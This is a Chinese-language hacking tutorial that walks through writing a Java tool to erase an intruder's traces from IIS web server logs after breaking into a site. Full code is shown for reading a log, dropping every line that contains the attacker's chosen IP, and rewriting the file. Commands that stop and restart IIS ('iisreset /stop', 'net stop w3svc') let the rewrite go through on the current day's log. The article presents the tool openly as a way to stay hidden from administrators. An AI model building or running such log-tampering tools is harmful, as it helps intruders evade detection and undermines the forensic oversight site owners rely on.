文/圖 海嘯天鳴(Ansty)[華南農業大學 李海鳴]
拿下XXX網站,提權得到管理員權限以後,大傢是不是就一走瞭之呢?是不是忘瞭什麼很重要的事情呢?沒錯,清理日志!勤快點的管理員會定時分析系統日志,看看系統什麼時候發生過什麼事情;細心的管理員則可以從日志裡面看出我們跑進他們系統的腳印哦。
現在網上提供的日志清理工具好多都是直接刪除整個日志文件的,管理員在查日志文件時發現日志沒瞭,不用說也知道服務器被黑,這樣做是比較傻瓜的。因此,我們就需要可以清理我們指定IP的日志這個功能。網上找瞭一下,發現iisantidote這個小工具可以實現,但沒提供源碼。我就本著開源的思想,用Java寫瞭這麼一個小工具。本文沒有做太復雜的功能,實現清理指定IIS文件的日志就OK瞭,即在IIS日志文件裡面找到我們指定IP的記錄,然後刪除。
在開始寫程序前,我們引入下面三個包。
import java.io.*; //封裝瞭java對文件的一些操作
import java.util.ArrayList; //java封裝好瞭鏈表,我們無需再自己重新寫,方便瞭很多
import java.util.ListIterator; //對鏈表的一些操作,非常方便
讀IIS日志
public void readLog() {
try {
BufferedReader bFile = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
String data;
while ((data = bFile.readLine()) != null) {//判斷是否讀到空數據,空則停止
logArray.add(data);//保存數據
}
bFile.close();//處理完文件以後一定要關閉文件讀取流
} catch (FileNotFoundException e) {//處理文件異常
System.out.println(“文件無法找到”);
} catch (IOException e) {//處理輸入輸出異常
e.printStackTrace();
}
}
我們先一下BufferedReader的構造方法。
BufferedReader(Reader in)用於創建一個使用默認大小輸入緩沖區的緩沖字符輸入流。為什麼我們要選擇這個類來操作文件呢?對於IIS的日志文件,如果訪問量很大,那麼產生的日志就會非常龐大。如果使用一個未帶緩沖區的方法來讀一個大文件,會費很多的時間,程序也很容易假死,而且效率也很低下。因為這個類裡面的參數是Reader,所以我們就要用“new InputStreamReader(new FileInputStream(fileName))”來獲得一個Reader類的對象。fileName就是我們輸入的IIS日志文件的路徑。
bFile通過readLine()每次讀入一行日志記錄,然後將這些記錄全部存儲到一個logArray的數組裡面,logArray的類型是Array。我們前面說過瞭,Array封裝瞭很多鏈表操作方法,add()就能直接將我們的數據添加進鏈表裡。
處理IIS日志記錄,刪除存在指定IP的記錄
public void execLog() {
ListIterator li = logArray.listIterator();
String temp;
while (li.hasNext()) {//判斷是否到瞭鏈表尾部
temp = li.next().toString();//將鏈表數據轉換成String類型
try {
if (temp.split(” “)[1].toString().equals(ip)) {//與指定的IP進行比較
} else //過濾指定IP的記錄
newLogArray.add(temp); //添加到新的日志鏈表
} catch (Exception e) {//處理異常
e.printStackTrace();
}
}
}
ListIterator是一個接口,允許程序員按任一方向遍歷列表、迭代期間修改列表,並獲得迭代器在列表中的當前位置。在這裡我們隻用到瞭hasNext()和next()方法。顧名思義,第一個是判斷是否還有後續元素,第二個就是獲得後續元素,我們通過循環判斷所有的元素即可。temp是一個String類型的變量,每次隻存儲一條日志記錄,記錄的格式是“時間 客戶IP 訪問類型 標志”,對於我們來說,我們隻關心客戶IP,此時調用String類的spilt()方法來獲得就可以瞭。
temp.split(” “)能將一個String類型的變量temp按空格分成一組數組,從上面的記錄格式我們可以看出,客戶IP是在第二個位置的,所以我們就可以通過temp.split(“ “)[1]來得到客戶IP。equal()方法就是比較瞭。整個IF-ELSE裡面是將與IP匹配的記錄略去,然後存到新的newLogArray裡面,這樣得到的newLogArray鏈表就是沒有我們自己IP的日志列表瞭。
修改IIS日志文件
public void writeLog(ArrayList temp) {
ListIterator li = temp.listIterator();
//temp就是我們要寫到日志文件的日志記錄鏈表
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(fileName));
while (li.hasNext()) {
bw.write(li.next().toString() + ”
“);//逐行寫入,後面再加個換行
}
bw.flush();//關閉文件之前,一定要先flush()
bw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
寫文件同樣要用到帶緩沖的方法,就是BufferedWriter,這裡的理論跟讀文件一樣,就不再細說瞭。我們依然利用循環來將鏈表中的記錄寫進文件,最後那個換行一定要加上去,如果不加的話,寫進去的時候是沒有換行的。
之後,最重要的工作就是把我們上面寫的代碼連接在一起瞭。在我們修改IIS日志文件的時候,如果隻是修改過往日志,那還好,直接修改就行瞭。但是如果修改的是當天日志,那可就不同瞭,因為IIS仍在運行,正在操作那個日志文件,我們就隻有看著的份,寫是寫不瞭的瞭。所以,我們在修改之前,一定要把IIS先給停瞭。
public void exec() {
try {
Process p = null;
p = Runtime.getRuntime().exec(“cmd /c iisreset /stop”);
execResult(p);//打印DOS命令執行返回的數據
p = Runtime.getRuntime().exec(“cmd /c net stop w3svc”);
execResult(p);
readLog();//讀日志,前面已經介紹
execLog();//處理日志
writeLog(newLogArray);//修改日志
p = Runtime.getRuntime().exec(“cmd /c iisreset /enable”);
execResult(p);
p = Runtime.getRuntime().exec(“cmd /c iisreset /start”);
execResult(p);
p = Runtime.getRuntime().exec(“cmd /c net start w3svc”);
execResult(p);
} catch (IOException e) {
e.printStackTrace();
}
}
還記得2007第12期《利用Java寫自己的專屬後門》上面講的Process這個類嗎?當時我們是用來運行系統命令的。這裡我們為什麼要執行“iisreset /stop”和“net stop w3svc”呢?因為如果隻用後者,在Java裡面有時是無法將IIS直接停掉的,所以我們就必須先將IIS停掉,然後再停w3svc,後面對日志的操作就不做介紹瞭。這裡我還連續用瞭三組命令來啟動IIS,為什麼會那麼麻煩呢?首先“iisreset /enable”,因為前面的“iisreset /stop”在我測試的時候有時會將IIS給禁用瞭;然後再“iisreset /start”和“net start w3svc”,因為後面那個命令隻啟動w3svc服務而沒有啟動IIS服務,所以為瞭避免出現意外就全部都加進去瞭。
說到這裡,這次的Java版日志刪除小工具就算是完成瞭。對於這個小程序,實現的隻是一個小小的功能,我們還可以發揮想象,繼續擴展它的功能。比如我們可以一次性處理所有的日志文件,添加多線程處理,處理其他類型的日志。說到其他類型的日志,其實我們隻要知道日志的數據組織存放結構,就可以將這個類型的日志清除工具寫出來的。至於這些功能的擴展,就交給聰明的讀者去完成吧